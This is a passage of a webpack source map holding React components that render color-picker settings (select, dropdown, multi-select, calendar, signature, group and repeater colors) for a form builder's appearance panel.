&&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }select-border-hover`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }select-background-hover`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E6E6E6\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Icon color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }select-icon-hover`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }select-value-hover`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Focus' ) }\n\t\t\t\t\tvalue=\"focus\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }select-border-active`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }select-background-active`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E6E6E6\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Icon color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }select-icon-active`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }select-value-active`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t<Container\n\t\t\t\t\t\tlabel={ translate( 'Error' ) }\n\t\t\t\t\t\tvalue=\"error\"\n\t\t\t\t\t>\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }select-border-error`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E04562\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t</Container>\n\t\t\t\t}\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/select.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\nimport Container from '../../../../settings/containers/container';\n\nexport default class DropdownColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t>\n\t\t\t\t\t{ (\n\t\t\t\t\t\tthis.props.formDesign !== 'flat' &&\n\t\t\t\t\t\tthis.props.formDesign !== 'material'\n\t\t\t\t\t) &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }dropdown-border`}\n\t\t\t\t\t\t\tlabel={ translate( 'Container border' ) }\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E6E6E6\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }dropdown-background`}\n\t\t\t\t\t\tlabel={ translate( 'Container BG' ) }\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }dropdown-option-color-static`}\n\t\t\t\t\t\tlabel={ translate( 'Option color' ) }\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#DDDDDD\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }dropdown-option-background-hover`}\n\t\t\t\t\t\tlabel={ translate( 'Option background' ) }\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }dropdown-option-color-hover`}\n\t\t\t\t\t\tlabel={ translate( 'Option color' ) }\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Selected' ) }\n\t\t\t\t\tvalue=\"selected\"\n\t\t\t\t>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }dropdown-option-background-active`}\n\t\t\t\t\t\tlabel={ translate( 'Option background' ) }\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }dropdown-option-color-active`}\n\t\t\t\t\t\tlabel={ translate( 'Option color' ) }\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/dropdown.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\n\nexport default class SearchColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<React.Fragment>\n\t\t\t\t{ (\n\t\t\t\t\tthis.props.formDesign !== 'flat' &&\n\t\t\t\t\tthis.props.formDesign !== 'material'\n\t\t\t\t) &&\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }dropdown-search-border`}\n\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t}\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }dropdown-search-background`}\n\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\tisAlpha\n\t\t\t\t/>\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }dropdown-search-color`}\n\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t/>\n\t\t\t\t{/* AVAILABLE ON 1.7.1\n\t\t\t\t<ColorPicker { ...this.props }\n\t\t\t\t\tlabel={ translate( 'No result text color' ) }\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }dropdown-text-noresult`}\n\t\t\t\t\tdefault=\"\" />\n\t\t\t\t*/}\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/dropdown-search.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\nimport Container from '../../../../settings/containers/container';\n\nexport default class MultiSelectColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiselect-border`}\n\t\t\t\t\t\t\tlabel={ this.props.formDesign !== 'material'\n\t\t\t\t\t\t\t\t? translate( 'Container border' )\n\t\t\t\t\t\t\t\t: translate( 'Option border' )\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E6E6E6\") }`}\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiselect-background`}\n\t\t\t\t\t\t\tlabel={ translate( 'Container BG' ) }\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiselect-item-color-static`}\n\t\t\t\t\t\tlabel={ translate( 'Option color' ) }\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign === 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiselect-border-hover`}\n\t\t\t\t\t\t\tlabel={ translate( 'Option border' ) }\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#DDDDDD\") }`}\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiselect-item-bg-hover`}\n\t\t\t\t\t\t\tlabel={ translate( 'Option background' ) }\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiselect-item-color-hover`}\n\t\t\t\t\t\tlabel={ translate( 'Option color' ) }\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Selected' ) }\n\t\t\t\t\tvalue=\"selected\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign === 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiselect-border-active`}\n\t\t\t\t\t\t\tlabel={ translate( 'Option border' ) }\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiselect-item-bg-active`}\n\t\t\t\t\t\t\tlabel={ translate( 'Option background' ) }\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={ this.props.formDesign !== 'material'\n\t\t\t\t\t\t\t? '#FFFFFF'\n\t\t\t\t\t\t\t: '#17A8E3'\n\t\t\t\t\t\t}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiselect-item-color-active`}\n\t\t\t\t\t\tlabel={ translate( 'Option color' ) }\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t<Container\n\t\t\t\t\t\tlabel={ translate( 'Error' ) }\n\t\t\t\t\t\tvalue=\"error\"\n\t\t\t\t\t>\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E04562\") }`}\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }multiselect-border-error`}\n\t\t\t\t\t\t\tlabel={ translate( 'Container border' ) }\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t</Container>\n\t\t\t\t}\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/multi-select.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\nimport Container from '../../../../settings/containers/container';\n\nexport default class CalendarColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"container\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Container' ) }\n\t\t\t\t\tvalue=\"container\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker { ...this.props }\n\t\t\t\t\t\t\tlabel={ this.props.formDesign !== ''\n\t\t\t\t\t\t\t\t? translate( 'Border' )\n\t\t\t\t\t\t\t\t: translate( 'Header background' )\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-border`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker { ...this.props }\n\t\t\t\t\t\tlabel={ this.props.formDesign !== ''\n\t\t\t\t\t\t\t? translate( 'Background' )\n\t\t\t\t\t\t\t: translate( 'Main background' )\n\t\t\t\t\t\t}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-background`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E6E6E6\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Navigation' ) }\n\t\t\t\t\tvalue=\"navigation\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker { ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Arrows background' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-arrows-bg`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker { ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Arrows color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-arrows-static`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tlabel={ translate( 'Select' ) }\n\t\t\t\t\tvalue=\"select\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker { ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Border' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-select-border`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#BBBBBB\") }`}\n\t\t\t\t\t\t\tisAlpha\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\t\t\t\t\t<ColorPicker { ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Background' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-select-bg`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#FFFFFF\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t\t<ColorPicker { ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }calendar-select-color`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t</Container>\n\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/calendar-basics.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\nimport Container from '../../../../settings/containers/container';\n\nexport default class Signature extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<Tabs\n\t\t\t\tdefault=\"default\"\n\t\t\t\ttype=\"tabs\"\n\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t>\n\n\t\t\t\t<Container\n\t\t\t\t\tvalue=\"default\"\n\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t>\n\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }signature-border-default`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }signature-background-default`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#EDEDED\") }`}\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Placeholder' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }signature-placeholder`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#888888\") }`}\n\t\t\t\t\t/>\n\n\t\t\t\t\t<ColorPicker { ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Signature Color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }signature-color`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#000000\") }`}\n\t\t\t\t\t/>\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Reset icon color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }signature-reset-icon-default`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#888888\") }`}\n\t\t\t\t\t/>\n\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tvalue=\"hover\"\n\t\t\t\t\tlabel={ translate( 'Hover' ) }\n\t\t\t\t>\n\n\t\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }signature-border-hover`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }signature-background-hover`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E6E6E6\") }`}\n\t\t\t\t\t\t/>\n\t\t\t\t\t}\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Reset icon color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }signature-reset-icon-hover`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#17A8E3\") }`}\n\t\t\t\t\t/>\n\n\t\t\t\t</Container>\n\n\t\t\t\t<Container\n\t\t\t\t\tvalue=\"error\"\n\t\t\t\t\tlabel={ translate( 'Error' ) }\n\t\t\t\t>\n\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }signature-border-error`}\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E04562\") }`}\n\t\t\t\t\t/>\n\n\t\t\t\t</Container>\n\n\t\t\t</Tabs>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/signature.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\n\nexport default class GroupColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<React.Fragment>\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"rgba(248,248,248,.5)\") }`}\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }group-background`}\n\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\tisAlpha\n\t\t\t\t/>\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"rgba(221,221,221,.5)\") }`}\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }group-border`}\n\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\tisAlpha\n\t\t\t\t/>\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"rgba(170,170,170,.5)\") }`}\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }group-divider`}\n\t\t\t\t\tlabel={ translate( 'Divider color' ) }\n\t\t\t\t\tisAlpha\n\t\t\t\t/>\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/group.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\nimport Tabs from '../../../../settings/containers/tabs';\nimport Container from '../../../../settings/containers/container';\nimport Accordion from '../../../../settings/containers/accordion';\n\nexport default class RepeaterColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\n\t\t\t<div className=\"sui-box\">\n\n\t\t\t\t<Accordion\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tlabel={ translate( 'Button' ) }\n\t\t\t\t>\n\t\t\t\t\t<Tabs\n\t\t\t\t\t\tdefault=\"default\"\n\t\t\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t\t\t\ttype=\"tabs\"\n\t\t\t\t\t>\n\t\t\t\t\t\t<Container\n\t\t\t\t\t\t\tvalue=\"default\"\n\t\t\t\t\t\t\tlabel={ translate( 'Default' ) }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }repeater-button-background`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#F8F8F8\") }`}\n\t\t\t\t\t\t\t/>\n\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }repeater-button`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#666666\") }`}\n\t\t\t\t\t\t\t/>\n\n\t\t\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) 